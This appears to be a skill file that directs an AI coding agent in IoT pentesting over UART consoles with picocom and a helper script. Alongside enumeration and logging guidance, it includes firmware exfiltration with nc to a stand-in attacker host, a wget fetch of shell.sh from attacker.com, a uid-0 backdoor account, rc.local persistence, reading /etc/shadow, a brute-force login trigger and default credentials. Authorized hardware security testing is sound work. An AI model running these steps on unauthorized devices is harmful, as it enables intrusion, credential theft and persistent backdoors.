| name | picocom |
| description | Use picocom to interact with IoT device UART consoles for pentesting operations including device enumeration, vulnerability discovery, bootloader manipulation, and gaining root shells. Use when the user needs to interact with embedded devices, IoT hardware, or serial consoles. |
IoT UART Console (picocom)
This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.
Prerequisites
- picocom must be installed on the system
- Python 3 with pyserial library (
sudo pacman -S python-pyserial on Arch, or pip install pyserial)
- UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.)
- Appropriate permissions to access serial devices (typically /dev/ttyUSB* or /dev/ttyACM*)
Recommended Approach: Serial Helper Script
IMPORTANT: This skill includes a Python helper script (serial_helper.py) that provides a clean, reliable interface for serial communication. This is the RECOMMENDED method for interacting with IoT devices.
Default Session Logging
ALL commands run by Claude will be logged to /tmp/serial_session.log by default.
To observe what Claude is doing in real-time:
tail -f /tmp/serial_session.log
This allows you to watch all serial I/O as it happens without interfering with the connection.
Why Use the Serial Helper?
The helper script solves many problems with direct picocom usage:
- Clean output: Automatically removes command echoes, prompts, and ANSI codes
- Prompt detection: Automatically detects and waits for device prompts
- Timeout handling: Proper timeout management with no arbitrary sleeps
- Easy scripting: Simple command-line interface for single commands or batch operations
- Session logging: All I/O logged to
/tmp/serial_session.log for observation
- Reliable: No issues with TTY requirements or background processes
Quick Start with Serial Helper
Single Command:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"
With Custom Prompt (recommended for known devices):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"
Interactive Mode:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive
Batch Commands from File:
echo -e "help\ndate\nifconfig\nps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt
JSON Output (for parsing):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json
Debug Mode:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug
Session Logging (for observation):
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/session.log \
--interactive
tail -f /tmp/session.log
Note: See OBSERVING_SESSIONS.md for comprehensive guide on monitoring serial sessions.
Monitor Mode (Passive Listening)
NEW FEATURE: Monitor mode is designed for passive UART monitoring where the device outputs logs without prompts or interaction.
Use cases:
- Monitoring boot logs from devices without interactive consoles
- Capturing triggered output when external actions are performed
- Testing if network requests or hardware events generate UART logs
- Baseline vs triggered output comparison
Basic passive monitoring:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--logfile /tmp/uart.log
Monitor with external trigger script:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "python3 /path/to/test_script.py" \
--trigger-delay 5 \
--logfile /tmp/triggered_uart.log
Monitor with baseline capture:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 15 \
--baseline-duration 10 \
--logfile /tmp/reboot_monitor.log
Monitor mode options:
--duration SECONDS - Total monitoring time (default: 30)
--trigger-script CMD - External command/script to run during monitoring
--trigger-delay SECONDS - When to run trigger (default: 5)
--baseline-duration SECONDS - Capture baseline before trigger (default: 0)
--logfile FILE - Log all I/O to file
--json - Output results in JSON format
Output includes:
- Real-time timestamped console output
- Baseline vs trigger vs post-trigger categorization
- Trigger script exit code and output
- Summary statistics (bytes captured in each phase)
- Timeline with all captured data
Serial Helper Options
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
--monitor, -m Passive monitoring mode (just listen, no commands)
Connection Options:
--device, -d DEV Serial device (default: /dev/ttyUSB0)
--baud, -b RATE Baud rate (default: 115200)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
--at-mode, -a AT command mode for cellular/satellite modems
Monitor Mode Options:
--duration SECONDS Monitoring duration (default: 30.0)
--trigger-script CMD External script/command to run during monitoring
--trigger-delay SECONDS Seconds before running trigger (default: 5.0)
--baseline-duration SEC Baseline capture duration (default: 0.0)
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (can tail -f in another terminal)
--debug Show debug information
Common Prompt Patterns
The helper script includes common prompt patterns, but you can specify custom ones:
--prompt "User@[^>]+>"
--prompt "[#\$]\s*$"
--prompt "=>\s*$"
--prompt "MyDevice>"
AT Command Mode (Cellular/Satellite Modems)
IMPORTANT: When interacting with AT command interfaces (cellular modems, satellite modems, GPS modules), use the --at-mode flag. AT interfaces do NOT use shell prompts - they respond with OK, ERROR, or specific result codes.
When to use AT mode:
- Cellular modems (Quectel, Sierra Wireless, u-blox, SIMCom, Telit)
- Satellite modems (Iridium, Globalstar)
- GPS modules with AT interface
- Any device that responds to AT commands with OK/ERROR
Basic AT command usage:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT" \
--logfile /tmp/serial_session.log
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "ATI" \
--logfile /tmp/serial_session.log
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT+CGSN" \
--logfile /tmp/serial_session.log
AT mode enumeration example:
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
LOGFILE="/tmp/serial_session.log"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "ATI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMM"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMR"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGSN"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CIMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CCID"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CSQ"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CREG?"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+COPS?"
Batch AT commands from file:
cat > at_enum.txt << 'EOF'
AT
ATI
AT+CGMI
AT+CGMM
AT+CGMR
AT+CGSN
AT+CSQ
AT+CREG?
AT+COPS?
EOF
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--script at_enum.txt \
--logfile /tmp/serial_session.log
Interactive AT session:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--interactive \
--logfile /tmp/serial_session.log
AT mode response handling:
OK - Command succeeded
ERROR - Command failed (generic)
+CME ERROR: <code> - Mobile equipment error with code
+CMS ERROR: <code> - SMS-related error with code
NO CARRIER - Connection lost/failed
CONNECT - Data connection established
Common AT command categories for pentesting:
AT+CGDCONT?
AT+QIOPEN
AT+QISTATE?
AT+CFUN?
AT+CPIN?
AT+CLCK
AT+CGMR
AT+QGMR
AT+QENG
AT$QCPWD
Device Enumeration Example with Serial Helper
Here's a complete example of safely enumerating a device:
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>"
LOGFILE="/tmp/serial_session.log"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"
IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/serial_session.log in every command so the user can monitor activity with tail -f /tmp/serial_session.log.
Pentesting Use Case: Trigger-Based UART Analysis
A common IoT pentesting scenario: testing if network requests, API calls, or hardware events trigger debug output on UART.
Example: Testing if API requests generate UART logs
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
--trigger-delay 5 \
--logfile /tmp/api_test.log
cat /tmp/api_test.log
Example: Testing authentication attempts
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 45 \
--trigger-script "python3 brute_force_login.py" \
--trigger-delay 10 \
--baseline-duration 5 \
--logfile /tmp/auth_test.log \
--json > /tmp/auth_results.json
Example: Boot sequence analysis
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 120 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 5 \
--logfile /tmp/boot_sequence.log
Why this is useful for pentesting:
- Devices often leak sensitive info (passwords, keys, paths) in UART logs
- Debug output may reveal internal API endpoints or protocols
- Error messages can expose vulnerabilities
- Boot logs show secure boot status, loaded modules, and filesystem paths
- Authentication attempts may log usernames/tokens in cleartext
IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/serial_session.log in every command so the user can monitor activity with tail -f /tmp/serial_session.log.
Alternative: Direct picocom Usage (Advanced)
If you need direct picocom access (e.g., for bootloader interaction during boot), you can use picocom directly. However, this is more complex and error-prone.
Instructions
1. Connection Setup
CRITICAL: picocom runs interactively and CANNOT be controlled via standard stdin/stdout pipes. Use the following approach:
- Always run picocom in a background shell using
run_in_background: true
- Monitor output using the BashOutput tool to read responses
- Send commands by using
Ctrl-A Ctrl-S to enter send mode, or by writing to the device file directly
Default connection command:
picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0
Defaults (unless specified otherwise):
- Baud rate: 115200 (most common for IoT devices)
- Device: /dev/ttyUSB0 (most common USB-to-serial adapter)
- Always use
--nolock: Prevents file locking issues unless user specifically requests otherwise
Alternative baud rates (if 115200 doesn't work):
- 57600
- 38400
- 19200
- 9600
- 230400 (less common, high-speed)
Alternative device paths:
- /dev/ttyUSB0, /dev/ttyUSB1, /dev/ttyUSB2, ... (USB-to-serial adapters)
- /dev/ttyACM0, /dev/ttyACM1, ... (USB CDC devices)
- /dev/ttyS0, /dev/ttyS1, ... (built-in serial ports)
Essential picocom options:
-b or --baud: Set baud rate (use 115200 by default)
--nolock: Disable file locking (ALWAYS use unless user asks not to)
--omap crlf: Map output CR to CRLF (helps with formatting)
--echo: Enable local echo (see what you type)
--logfile <file>: Log all session output to a file (recommended)
-q or --quiet: Suppress picocom status messages
--imap lfcrlf: Map LF to CRLF on input (sometimes needed)
2. Detecting Console State
After connecting, you need to identify what state the device is in:
a) Blank/Silent Console:
- Press Enter several times to check for a prompt
- Try Ctrl-C to interrupt any running processes
- If still nothing, the device may be in bootloader waiting state - try space bar or other bootloader interrupt keys
b) Bootloader (U-Boot, etc.):
- Look for prompts like
U-Boot>, =>, uboot>, Boot>
- Bootloaders often have a countdown that can be interrupted
- Common interrupt keys: Space, Enter, specific keys mentioned in boot messages
c) Login Prompt:
- Look for
login: or username: prompts
- Common default credentials for IoT devices:
- root / root
- admin / admin
- root / (no password)
- admin / password
- Check manufacturer documentation or online databases
d) Shell Access:
- You may drop directly into a root shell
- Look for prompts like
#, $, >, or custom prompts
2.1. BusyBox Shells (Most IoT Devices)
IMPORTANT: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.
Identifying BusyBox:
busybox
busybox --help
ls -la /bin/sh
busybox --list
BusyBox Limitations:
- Many standard Linux commands may be simplified versions
- Some common flags/options may not be available
- Features like tab completion may be limited or absent
- Some exploitation techniques that work on full Linux may not work
Common BusyBox commands available:
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
BusyBox-specific considerations for pentesting:
ps output format may differ from standard Linux
- Some privilege escalation techniques require commands not in BusyBox
- File permissions still work the same (SUID, sticky bits, etc.)
- Networking tools are often present (telnet, wget, nc/netcat, ftpget)
- Python/Perl/Ruby are usually NOT available (device storage constraints)
Useful BusyBox commands for enumeration:
busybox | head -1
nc -l -p 4444
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
busybox httpd -p 8080 -h /tmp
Reference Documentation:
3. Interacting with the Console
Sending commands to picocom:
Since picocom is interactive, you have several options:
Option A: Write directly to the device file
echo "command" > /dev/ttyUSB0
Option B: Use expect or similar tools
expect -c "
spawn picocom -b 115200 --nolock /dev/ttyUSB0
send \"command\r\"
expect \"#\"
exit
"
Option C: Use screen instead of picocom (may be easier to script)
screen /dev/ttyUSB0 115200
Picocom keyboard shortcuts:
Ctrl-A Ctrl-X: Exit picocom
Ctrl-A Ctrl-Q: Quit without resetting
Ctrl-A Ctrl-U: Increase baud rate
Ctrl-A Ctrl-D: Decrease baud rate
Ctrl-A Ctrl-T: Toggle local echo
Ctrl-A Ctrl-S: Send file (can be used to send commands)
4. Device Enumeration
Once you have shell access, gather the following information:
System Information:
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf
mount
cat /proc/mounts
df -h
ps aux
ps -ef
top -b -n 1
User and Permission Information:
id
whoami
groups
cat /etc/passwd
cat /etc/shadow
cat /etc/group
sudo -l
cat /etc/sudoers
Network Services:
netstat -tulpn
ss -tulpn
lsof -i
iptables -L -n -v
cat /etc/iptables/*
Interesting Files and Directories:
ls -la /etc/
find /etc/ -type f -readable
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
5. Bootloader Exploitation
If you have access to the bootloader (U-Boot, etc.):
Common U-Boot commands:
printenv
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000
md <address>
mm <address>
mw <address> <value>
erase <start> <end>
cp.b <source> <dest> <count>
help
bdinfo
version
reset
6. Privilege Escalation (if not root)
Check for common vulnerabilities:
uname -r
ps aux | grep root
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null
crontab -l
ls -la /etc/cron*
cat /etc/crontab
7. Persistence and Further Access
Establish additional access methods:
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
/etc/init.d/ssh start
/etc/init.d/sshd start
/etc/init.d/dropbear start
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor
echo "/path/to/backdoor &" >> /etc/rc.local
8. Firmware Extraction
Extract firmware for offline analysis:
cat /proc/mtd
cat /proc/partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
nc attacker_ip 4444 < /tmp/rootfs.bin
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt
9. Cleanup and Exit
To exit picocom:
- Press
Ctrl-A followed by Ctrl-X
- Or use
killall picocom from another terminal
If you need to kill the background shell:
- Use the KillShell tool with the appropriate shell_id
Common IoT Device Scenarios
Scenario 1: No Authentication Shell
picocom -b 115200 --nolock /dev/ttyUSB0
Scenario 2: Password-Protected Shell
Scenario 3: Bootloader to Root Shell
setenv bootargs "${bootargs} init=/bin/sh"
boot
Scenario 4: Limited Shell Escape
echo $SHELL
/bin/sh
/bin/bash
vi
less /etc/passwd
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
Security Testing Checklist
Best Practices
- Always log your session: Use
--logfile session.log
- Document everything: Take notes on commands, responses, and findings
- Be patient: Some devices are slow and may take time to respond
- Check baud rate: Wrong baud rate = garbage output. Try common rates if you see garbled text
- Research the device: Look up known vulnerabilities, default credentials, and common issues
- Use proper authorization: Only perform pentesting on devices you own or have explicit permission to test
- Backup: If possible, backup firmware before making modifications
- Be careful with bootloader: Incorrect bootloader commands can brick devices
Troubleshooting
Problem: Garbled text or strange characters
- Solution: Wrong baud rate. Try 115200, 57600, 38400, 19200, 9600
Problem: No output at all
- Solution: Check physical connections, try pressing Enter, check if device is powered on
Problem: "Device busy" or "Permission denied"
- Solution: Close other programs using the serial port, check user permissions (
sudo usermod -a -G dialout $USER)
Problem: Commands not echoing
- Solution: Enable local echo with
--echo flag or press Ctrl-A Ctrl-T in picocom
Problem: Wrong line endings (extra lines or no line breaks)
- Solution: Use
--omap crlf or --imap lfcrlf options
Example Usage
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0
picocom -b 115200 --nolock /dev/ttyUSB0 &
References